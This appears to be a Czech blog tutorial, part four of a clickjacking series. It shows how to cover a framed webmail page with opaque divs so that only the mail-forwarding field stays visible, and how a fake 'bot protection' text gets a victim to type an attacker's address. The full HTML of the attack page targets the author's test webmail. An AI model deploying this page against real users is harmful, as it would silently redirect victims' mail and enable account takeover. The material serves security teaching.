Zpět na seznam článků     Číst komentáře (3)     Verze pro tisk

Clickjacking (4)

Autor: .cCuMiNn.   
18.9.2012

V tomto dílu seriálu, který je věnován clickjackingu, si kupodivu ani jednou neklikneme. Namísto toho se budeme snažit přesvědčit svou oběť, aby aktivně využila klávesnici a do formuláře, který ji podstrčíme, vyplnila věci, které pro ni budou mít nečekaný dopad.


V předchozích dílech jsem detailně popisoval práci s průhlednými rámy. Tentokrát se zaměříme na použití inverzní metody, během které budeme cílovou stránku, proti které je útočeno*, a kterou máme načtenu tentokrát v normálně viditelném rámu, překrývat dalšími neprůhlednými rámy. Na stránce tak zakryjeme všechny prvky napadené* webové stránky, které se nám nehodí do krámu, a necháme viditelné pouze ty, které se snažíme nějakým způsobem zneužít.

Tohoto postupu se nejčastěji používá právě u vstupních polí formulářů, u nichž si přejeme, aby je uživatel vyplnil námi předloženou hodnotou. Pojďme se na to tedy vrhnout. Naším dnešním cílem se stane pole pro přesměrování příchozích zpráv v našem testovacím Hack-me webmailu.



Jistě nemá smysl spekulovat o tom, že jde o poměrně závažnou zranitelnost, díky které může nebohý uživatel snadno přijít o svou identitu. A jak tedy uživatele přimět k tomu, aby do tohoto pole vložil právě naší adresu?

  • Vytvoříme si zdrojovou stránku, do které vložíme cílovou stránku (http://www.hackmail.cz/articles/resend.php) ve formě rámu.
  • Celou plochu stránky kromě vstupního pole pro vložení adresy a submit tlačítka překryjeme dalšími rámy nebo jinými prvky (v ukázce jsem použil prvek DIV), kterým nastavíme absolutní pozicování a rozměry. K tomu, abychom zakryli veškerý obsah stránky s výjimkou vstupního pole a submit tlačítka nám ale jeden překryvný prvek stačit nebude. Budeme proto muset použít objektů více (v ukázce je použito pět divů), tak jak ukazuje následující animace.



  • Na stránku umístíme nějaký sofistikovaný text, který přinutí uživatele vložit do vstupního pole požadovaný textový řetězec (v tomto případě mailovou adresu).
  • Nakonec již jen odešleme oběti odkaz na takto vytvořenou stránku a počkáme, než stránku navštíví a do vstupního pole očekávaný text vyplní.


Zdrojový kód útočné stránky
  1. <html>
  2.   <head>
  3.     <meta http-equiv="content-type" content="text/html; charset=windows-1250">
  4.     <title>Demo 1 - clickjacking(4)</title>
  5.   </head>
  6.   <body bgcolor="black">
  7.     <style>
  8.       div {
  9.          position: absolute;
  10.          background:black;
  11.       }
  12.       #ifr_main {
  13.         position: absolute;
  14.         width:    1400px;
  15.         height:   400px;
  16.         left:     0px;
  17.         top:      0px;
  18.       }
  19.       #div1 {
  20.         width:    488px;
  21.         height:   500px;
  22.         left:     0px;
  23.         top:      0px;
  24.       }
  25.       #div2 {
  26.         width:    600px;
  27.         height:   500px;
  28.         left:     850px;
  29.         top:      0px;
  30.       }
  31.       #div3 {
  32.         width:    4px;
  33.         height:   20px;
  34.         left:     789px;
  35.         top:      204px;
  36.       }
  37.       #div4 {
  38.         width:    1400px;
  39.         height:   276px;
  40.         left:     0px;
  41.         top:      224px;
  42.       }
  43.       #div5 {
  44.         width:     1400px;
  45.         height:    205px;
  46.         left:      0px;
  47.         top:       0px;
  48.         color:     white;
  49.         text-align:center;
  50.       }    
  51.     </style>
  52.    
  53.     <iframe src="http://www.hackmail.cz/articles/resend.php" id="ifr_main"></iframe>
  54.    
  55.     <div id="div1"></div>
  56.     <div id="div2"></div>
  57.     <div id="div3"></div>
  58.     <div id="div4"></div>
  59.     <div id="div5">
  60.       <br>
  61.       <h2>Ochrana před vstupem botů</h2>
  62.       <h3>do pole opiš</h3>
  63.       <h3><u>ochrana@attacker.cz</u></h3>
  64.     </div>
  65.  
  66.   </body>
  67. </html>


Co lze zlepšit

Příklad je možné obohatit o některé praktiky, které jsme si ukázali v minulých dílech seriálu. Například je možné napozicovat viditelné prvky formuláře na námi požadovanou pozici, nebo můžeme ošetřit kliknutí na submit tlačítko.

Co nás čeká příště

Příště zůstaneme u stejného příkladu, jako tentokrát. Rozdíl bude v tom, že pro vložení hodnoty do vstupního pole nebude potřeba, aby uživatel zapsal textový řetězec. Namísto toho využijeme vlastnosti HTML5 Drag&Drop, která pro zdárný útok vystačí s uživatelským přetažením objektu.

*Pochopitelně neútočíme proti webové stránce, ale snažíme se oklamat koncového uživatele. Termíny „stránka, proti které útočíme“ nebo „napadená stránka“ jsou zvoleny pouze pro pojmenování zranitelné stránky cílové aplikace, kterou načítáme do rámu.


Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 1/3

1  2  3  4  5    
(známkování jako ve škole)